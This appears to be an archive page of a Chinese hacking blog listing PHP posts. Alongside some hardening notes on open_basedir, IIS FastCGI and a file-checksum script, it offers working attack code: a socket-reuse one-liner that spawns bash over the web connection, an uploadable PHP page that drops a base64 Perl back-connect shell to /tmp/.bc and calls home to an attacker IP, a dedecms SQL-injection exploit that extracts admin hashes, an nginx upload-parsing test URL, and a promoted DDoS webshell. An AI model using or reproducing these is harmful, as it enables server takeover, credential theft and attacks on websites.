存档

文章标签 ‘PHP’

PHP端口复用的利用

2011年12月3日 没有评论 233 views
来自:wofeiwo
如果还有人记得我当年发在80sec上的那篇《Linux 系统文件描述符继承带来的危害》的话,应该记得当时这个问题已经被apache官方使用FD_CLOSEXEC修复了:由于在系统底层exec其他进程的时候,所有开启的FD就会被自动关闭,因此就没有办法使用system等php函数,在子进程如bash中继续操作原有开启的高权限文件描述符。
但是最近PHP 5.3.6引进了一个新特性:利用fopen("php://fd/fd_number", "w")的形式,可以直接打开并操作当前进程的文件描述符。基本相当于一个fdopen函数调用。

结 合这两点,由于php本身的一种运行方式是以apache的mod方式在apahe进程中存在的,所以对于php来说,他的自身进程也就是apache的 进程,所有apache原来在root下打开的文件描述符,他都能操作。于是乎,原有修补完毕的漏洞,经过PHP新功能的妙手回春,又重现江湖了。

那么究竟如何利用这个漏洞呢?在之前的那篇文章里, 我曾经给出了一个例子,就是直接复用当前连接80端口的socket,生成一个交互性shell。当时我没有给出自动化查找当前连接80端口socket 的实现,但实际上,在写文章的时候,我就私底下给出过一个利用shell工具自动化查找当前socket连接的方法:

system("ip=`netstat -ane | grep ${_SERVER['REMOTE_ADDR']} | grep ESTABLISHED | awk '{print $8}'`;socket=`ls -alh /proc/self/fd | grep $ip |awk '{print $9}'`; python -c 'import pty;pty.spawn("/bin/bash")' 1>&$socket 0>&$socket 2>&$socket");

解读一下上面的伪 PHP shell 代码:通过比对netstat -ane(e参数的作用是输出socket号)的输出和/proc/self/fd(当前进程的文件描述符信息)的内容,找到相匹配的socket号,那就是当前连接的socket了,然后立刻重用之。很简单吧?

但当时的例子已经不能在apache补丁后使用了,因为他用到了子进程再重定向输入输出来实现端口复用。而现在由于不能使用子进程来做这些事情,因此所有难点就集中在如何自动化的查找当前连接的socket上。

仔细看上面那些代码的原理,不过是使用netstat来进行当前系统中socket信息的输出比对。既然如此,我只要手工实现netstat的功能即可。那netstat又是如何实现的呢?
阅读全文...

分类: 技术文章 标签: ,

php open_basedir设置以及关于安全

2011年12月3日 没有评论 108 views

open_basedir可将用户访问文件的活动范围限制在指定的区域,通常是其家目录的路径,也可用符号"."来代表当前目录。注意用open_basedir指定的限制实际上是前缀,而不是目录名。
举例来说: 若"open_basedir = /dir/user", 那么目录 "/dir/user" 和 "/dir/other"都是可以访问的。所以如果要将访问限制在仅为指定的目录,请用斜线结束路径名。
open_basedir也可以同时设置多个目录,在Windows中用分号分隔目录,在任何其它系统中用冒号分隔目录。当其作用于Apache模块时,父目录中的open_basedir路径自动被继承。

Apache+PHP配置方法有三种:
方法一:在php.ini里配置
open_basedir = .:/tmp/

方法二:在Apache配置的VirtualHost里设置(httpd-vhosts.conf)
php_admin_value open_basedir .:/tmp/

方法三:在Apache配置的Direcotry里设置
php_admin_value open_basedir .:/tmp/

阅读全文...

分类: 技术文章 标签:

简单配置 IIS6 + FastCGI 高效运行PHP

2011年5月12日 没有评论 197 views

来源:樱木花盗

Windows2008的IIS7已集成FastCGI,运行PHP速度飞快已超过Apache。
看了 IIS6.0以FastCGI模式加载php环境的测试 ,参考月光博客的 IIS下PHP的ISAPI和FastCGI比较 ,于是把复杂的事情简单化总结了这个教程。

本文假设您服务器已正常运行 IIS6 + ISAPI模式的PHP。

1、把FastCGI的dll和ini文件解压在PHP目录,我的是:

D:PHPnowphp-5.2.6-Win32
2、IIS —— Web服务扩展 —— 添加一个新的Web服务扩展 FastCGI ,允许,要求的文件为

D:PHPnowphp-5.2.6-Win32fcgiext.dll

IIS —— 网站 —— 主目录 —— 配置 —— 把原来的PHP扩展的dll文件也替换为fcgiext.dll

3、在Windows目录 php.ini 最后添加以下代码:

fastcgi.impersonate = 1
cgi.fix_pathinfo = 1
cgi.force_redirect = 0
4、重启IIS生效。

P.S. 配合 eAccelerator 效果更佳

分类: 技术文章 标签: , ,

Linux下Apache与PHP安全相关设置

2011年4月30日 没有评论 138 views

对于提供公共网络服务的ISP,基于安全性理由,建议apache和php都使用最小权限的公用设置.
针对特定用户所提出的涉及安全性能的特殊要求, 可以在不改变全局性的共用设置的情况下,
通过利用Apache Virtualhost的PHP扩展功能来实现. 只需在相应用户的Virtualhost的设置
段落中插入php_value,php_admin_value或php_admin_flag指令,就可以使该用户具有与全局
设置不同的权限和行为.

阅读全文...

分类: 技术文章 标签: ,

分享国外一个PHP DDOS的脚本

2010年6月23日 4 条评论 2,016 views

效果还是不错的,一般的网站直接打翻。
群里面,昨日重现和肖申克的救赎一直吵着要这种webshell下的压力测试工具。
有人拿这东西卖钱,装13,我Google了一下,国外的东西,下载下来共享之。
用法:通过各种方式上传到PHP网站目录下,填写IP地址,压力测试之。

下载地址:
阅读全文...

分类: 资源共享 标签: , ,

橙色预警:PHP PATH_INFO 存在漏洞

2010年5月21日 1 条评论 518 views

PS:其实10年前就爆出了这个漏洞,如今流传开了,估计能引起一场小小的革命,不少大站的源码都要流传出来了。
PHP PATH_INFO 存在漏洞

使用nginx+php组建的网站只要允许上传图片就可能被黑客入侵,直到5.21日凌晨,nginx尚未发布修复该漏洞的补丁;已经有一些网站被黑了,管理员速修复!

测试方法:

Nginx的服务器上传图片访问图片地址,后面加上4shell.php

例如:www.xx.com/upload/201005219527.jpg/4shell.php

临时修补方法,可3选其一
阅读全文...

分类: 技术文章 标签: , ,

php.ini文件A级变态配置

2009年11月23日 没有评论 174 views

我们首先来了解一些php.ini的基本概念性。空白字符和以分号开始的行被简单地忽略。设置指令的格式如下:directive = value 指令名(directive)是大小写敏感的!所以”foo=bar”不同于”FOO=bar”。值(value)可以是:

1. 用引号界定的字符串(如:”foo”)

2. 一个数字(整数或浮点数,如:0,1,34,-1,33.55)

3. 一个PHP常量(如:E_ALL,M_PI)

4. 一个INI常量(On,Off,none)

5. 一个表达式(如:E_ALL & ~E_NOTICE)

还有另外一个是设置布尔值,1为On就是开启,0为Off就是关闭。php.ini分了很多部分,例如:模块部分,php全局配置,数据库配置,等等。如图1所示是一个基本的php.ini的例子。了解了基本的概念以后我们就可以开始变态配置之旅。
阅读全文...

分类: 技术文章 标签:

php导出oracle库的php代码

2009年4月17日 没有评论 68 views

作者:lcx

<?php
$conn=OCILogon("用户名","密码","(DESCRIPTION=(ADDRESS=(PROTOCOL =TCP)(HOST=IP)(PORT = 1521))(CONNECT_DATA =(SID=lcx)))");


//$sql="select * from all_tab_columns where table_name='MEMBER'";//Table Structure
$sql="select USER_ID,PASSWORD from MEMBER where IDX < 100"; //sql语句

$stmt = OCIParse($conn, $sql);
OCIExecute($stmt);
$rows = OCIFetchstatement($stmt,$results);

$keys = array_keys($results);
$table = "<table>\n <TR>\n";
foreach($keys as $key)
{
$table .= " <TH>$key</TH>\n";
}
$table .= " </TR>\n";
for($i=0;$i<$rows;$i++)
{
$table .= " <TR>";
foreach($results as $spalte)
{
$data = $spalte[$i];
$table .= " <TD>$data</TD>";
}
$table .=" </TR>";
}
echo $table;
$sStr="/home/lcx.htm";
fputs(fopen($sStr,'a+'),$table);
?>

分类: 技术文章 标签:

猥琐流之php反弹

2009年1月24日 没有评论 95 views

遇到一个BT的网站,上传php文件成功之后,每访问一次,文件名就会随机改变一次,并且你访问当前文件如果点其他操作项,文件仍然会改名。非常无奈,没想 到什么好的办法,后来灵光一闪。放一个php页面,里面可以直接弹回来shell,何况在console下面操作比webshell方便的多,也不会出现超时之类的情况。
因为我不怎么懂php,于是就找了猥琐的诺诺和小雨修改了一下代码,反弹代码是从phpspy2008里面提取的,但是不能直接用,需要修改成一个单独的php文件。上传之后,本地监听一个端口,在代码里设置好反弹IP和端口,然后直接访问,就会弹回来一个shell。

声明,没啥技术含量,主要是用来方便。这样每次可以直接访问这个php页面,直接弹回来shell,不用做其他繁琐的操作,下面贴出来已经修改好的代码

<?php

function which($pr) {
$path = execute("which $pr");
return ($path ? $path : $pr);
}

function execute($cfe) {
$res = '';
if ($cfe) {
if(function_exists('exec')) {
@exec($cfe,$res);
$res = join("\n",$res);
} elseif(function_exists('shell_exec')) {
$res = @shell_exec($cfe);
} elseif(function_exists('system')) {
@ob_start();
@system($cfe);
$res = @ob_get_contents();
@ob_end_clean();
} elseif(function_exists('passthru')) {
@ob_start();
@passthru($cfe);
$res = @ob_get_contents();
@ob_end_clean();
} elseif(@is_resource($f = @popen($cfe,"r"))) {
$res = '';
while(!@feof($f)) {
$res .= @fread($f,1024);
}
@pclose($f);
}
}
return $res;
}

function cf($fname,$text){
if($fp=@fopen($fname,'w')) {
@fputs($fp,@base64_decode($text));
@fclose($fp);
}
}

$yourip = "your IP";
$yourport = 'your port';
$usedb = array('perl'=>'perl','c'=>'c');

$back_connect="IyEvdXNyL2Jpbi9wZXJsDQp1c2UgU29ja2V0Ow0KJGNtZD0gImx5bngiOw0KJHN5c3RlbT0gJ2VjaG8gImB1bmFtZSAtYWAiO2Vj".
"aG8gImBpZGAiOy9iaW4vc2gnOw0KJDA9JGNtZDsNCiR0YXJnZXQ9JEFSR1ZbMF07DQokcG9ydD0kQVJHVlsxXTsNCiRpYWRkcj1pbmV0X2F0b24oJHR".
"hcmdldCkgfHwgZGllKCJFcnJvcjogJCFcbiIpOw0KJHBhZGRyPXNvY2thZGRyX2luKCRwb3J0LCAkaWFkZHIpIHx8IGRpZSgiRXJyb3I6ICQhXG4iKT".
"sNCiRwcm90bz1nZXRwcm90b2J5bmFtZSgndGNwJyk7DQpzb2NrZXQoU09DS0VULCBQRl9JTkVULCBTT0NLX1NUUkVBTSwgJHByb3RvKSB8fCBkaWUoI".
"kVycm9yOiAkIVxuIik7DQpjb25uZWN0KFNPQ0tFVCwgJHBhZGRyKSB8fCBkaWUoIkVycm9yOiAkIVxuIik7DQpvcGVuKFNURElOLCAiPiZTT0NLRVQi".
"KTsNCm9wZW4oU1RET1VULCAiPiZTT0NLRVQiKTsNCm9wZW4oU1RERVJSLCAiPiZTT0NLRVQiKTsNCnN5c3RlbSgkc3lzdGVtKTsNCmNsb3NlKFNUREl".
"OKTsNCmNsb3NlKFNURE9VVCk7DQpjbG9zZShTVERFUlIpOw==";

cf('/tmp/.bc',$back_connect);
$res = execute(which('perl')." /tmp/.bc $yourip $yourport &");

?>

先在本地执行 nc -l -vv -p port 然后访问这个php页面 http://www.site.com/fuck.php 本地就会得到一个反弹的shell。

仅限猥琐流使用,如果有什么好的猥琐的方法,请不吝赐教

分类: 技术文章 标签:

Php注入点构造

2008年12月9日 3 条评论 98 views

把下面保存成 Test.asp

<?
 $mysql_server_name = "localhost";
    $mysql_username    = "root";
    $mysql_password    = "password";
    $mysql_database    = "phpzr";    //??ݿ??
    $conn=mysql_connect( $mysql_server_name, $mysql_username, $mysql_password );
    mysql_select_db($mysql_database,$conn);
$id=$_GET['id'];
    $sql = "select username,password from admin where id=$id";
    $result=mysql_db_query( $mysql_database, $sql,$conn );    
    $row=mysql_fetch_row($result);
?>
<html>
<head>
<meta http-equiv="Content-Type" content="text/html; charset=utf-8">
<title>Php Sql Injection Test </title>
</head>
<body>
<p align="center"><b><font color="#FF0000" size="5" face="华文行楷"> </font><font color="#FF0000" size="5" face="华文新魏">PHP 
注入测试专用</font></b></p>
<table width="100%" height="25%" border="1" align="center" cellpadding="0" cellspacing="0">
<tr>
<td><?=$row[0]?></td>
</tr>
<tr>
<td><?=$row[1]?></td>
</tr>
</table>
<p><u><font color="#0000FF">BY:孤狐浪子 QQ:393214425 </font></u></p>
<p><font color="#0000FF">Blog: Http://itpro.blog.163.com</font></p>
<p> </p>
</body>
</html>

创建数据库代码:保存成test.sql 使用phpmyadmin执行就ok了


CREATE DATABASE `phpzr` ; //创建数据库名称

CREATE TABLE admin (
  id int(10) unsigned NOT NULL auto_increment,
  username char(10) NOT NULL default '',
  password char(10) NOT NULL default '',
  useremail char(20) NOT NULL default '',
  groupid int(11) NOT NULL default '0',
  PRIMARY KEY  (id)
) TYPE=MyISAM;

 

INSERT INTO admin VALUES (1, 'admin', 'itpro.blog.163.com','itpro@163.com', 1);
INSERT INTO admin VALUES (2, 'admin1', 'itpro.blog.163.com','itpro@163.com', 2);
INSERT INTO admin VALUES (3, 'admin2', 'itpro.blog.163.com','itpro@163.com', 3);
INSERT INTO admin VALUES (4, 'admin3', 'itpro.blog.163.com','itpro@163.com', 4);
INSERT INTO admin VALUES (5, 'admin4', 'itpro.blog.163.com','itpro@163.com', 5);

CREATE TABLE admin1 (
  id int(10) unsigned NOT NULL auto_increment,
  username char(10) NOT NULL default '',
  password char(10) NOT NULL default '',
  useremail char(20) NOT NULL default '',
  groupid int(11) NOT NULL default '0',
  PRIMARY KEY  (id)
) TYPE=MyISAM;

 

INSERT INTO admin1 VALUES (1, 'admin', 'itpro.blog.163.com','itpro@163.com', 1);
INSERT INTO admin1 VALUES (2, 'admin1', 'itpro.blog.163.com','itpro@163.com', 2);
INSERT INTO admin1 VALUES (3, 'admin2', 'itpro.blog.163.com','itpro@163.com', 3);
INSERT INTO admin1 VALUES (4, 'admin3', 'itpro.blog.163.com','itpro@163.com', 4);
INSERT INTO admin1 VALUES (5, 'admin4', 'itpro.blog.163.com','itpro@163.com', 5);

分类: 技术文章 标签: ,

dedecms plus/infosearch.php Exploit

2008年11月16日 没有评论 144 views

<?
print_r('
--------------------------------------------------------------------------------
dedecms gpk "/plus/infosearch.php" SQL injection exploit
BY 冰的原点 (<a href="http://www.tools.net" target="_blank">http://www.tools.net</a>)
thx oldjun
--------------------------------------------------------------------------------
');

if ($argc<3) {
print_r('
--------------------------------------------------------------------------------
Usage: php '.$argv[0].' host path
host: target server (ip/hostname),without"http://"
path: path to phpcms
Example:
php '.$argv[0].' localhost /
--------------------------------------------------------------------------------
');
die;
}

function sendpacketii($packet)
{
global  $host, $html;
$ock=fsockopen(gethostbyname($host),'80');
if (!$ock) {
echo 'No response from '.$host; die;
}
fputs($ock,$packet);
$html='';
while (!feof($ock)) {
$html.=fgets($ock);
}
fclose($ock);
}

$host=$argv[1];
$path=$argv[2];
$cookie="PHPSESSID=2456c055c52722efa1268504d07945f2";

if (($path[0]<>'/') or ($path[strlen($path)-1]<>'/'))
{echo 'Error... check the path!'; die;}

$packet ="GET ".$path."plus/infosearch.php?action=search&q=%cf%27%20union%20select%201,2,concat(uname,0x3a,substring(pwd,9,16)),4,5,6%20from%20dede_admin/*# HTTP/1.0\r\n";
$packet.="Host: ".$host."\r\n";
$packet.="Cookie: ".$cookie."\r\n";
$packet.="Connection: Close\r\n\r\n";
sendpacketii($packet);
if (!eregi(":",$html))
{
echo $packet;
echo $html;
die("Exploit failed...");
}
else
{
$pattern="/\" class=\"title\">(.*?)<\/a>/si"; 
preg_match($pattern,$html,$pg);
$result=explode(":",$pg[1]);
print_r('
--------------------------------------------------------------------------------
[+]username -> '.$result[0].'
[+]password(16位md5) -> '.$result[1].'
--------------------------------------------------------------------------------
');
}
function is_hash($hash)
{
if (ereg("^[a-z0-9]{16}",trim($hash))) {return true;}
else {return false;}
}
if (is_hash($result[1])) {echo "Exploit succeeded...";}
else {echo "Exploit failed...";}
?>

分类: 资源共享 标签: , ,

Check MD5(md5sum for php)

2008年11月14日 没有评论 93 views

<?php
/******************************************************************
Check MD5(md5sum for php)
2008-11-09
amxku.net

校验文件的准确性.
在网站被入侵后,检查文件的准确性。

*UIX下可以用md5sum * >md5sum 来得到所有文件的md5值,然后把两次得到的
MD5值来进行对比。

在代码检查方面那么有一丁点用处,别的没什么用。
******************************************************************/
echo '<meta http-equiv="Content-Type" content="text/html; charset=UTF-8" />';
echo '<title>Check MD5(md5sum for php)</title>';
check_md5(".");

function check_md5($directory){
    $check_md5_dir = @opendir($directory);
    echo '<ul>';
    while ($file = @readdir($check_md5_dir)) {
    if ($file != "." && $file != "..") {
    if(is_dir("$directory/$file")){
        echo '<li><strong>'.$file.'</strong></li>';
        tree("$directory/$file");
    }else{
        echo '<li>'.$file.' ==> '.md5_file("$directory/$file").'</li>';
    }
    }
    }
    echo '</ul>';
    closedir($check_md5_dir);
}
?>

分类: 资源共享 标签: , ,